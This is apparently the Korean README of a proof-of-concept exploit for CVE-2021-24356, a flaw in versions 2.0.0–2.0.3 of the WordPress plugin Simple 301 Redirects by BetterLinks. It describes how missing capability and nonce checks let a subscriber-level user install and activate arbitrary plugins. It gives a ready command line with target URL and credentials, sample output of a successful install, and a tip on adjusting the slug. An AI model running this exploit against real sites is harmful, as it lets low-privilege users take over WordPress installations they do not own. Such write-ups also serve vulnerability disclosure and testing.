CVE-2021-24356

Simple 301 Redirects by BetterLinks - 2.0.0 – 2.0.3 - 구독자 + 임의 플러그인 설치

설명

플러그인의 AJAX 액션에 대한 기능 검사와 nonce 검사가 부족하여, 인증된 사용자가 취약한 사이트에 임의의 플러그인을 설치할 수 있었습니다.

사용 방법

$ python3 CVE-2021-24356.py --url http://wordpress.lan --username user --password useruser1 --slug betterlinks
Getting REST API Nonce!
Nonce Found: dd72f43027
Installing Plugin!
{"success":true,"data":"Plugin is installed successfully!"}
Activating Plugin!
{"success":true,"data":"BetterLinks is activated!"}

참고: 일부 플러그인은 slug 변수를 플러그인의 메인 파일 경로/file.php로 변경하지 않으면 활성화되지 않을 수 있습니다. slug가 betterlinks와 같고 플러그인의 메인 파일이 betterlinks.php인 경우 현재 잘 작동합니다.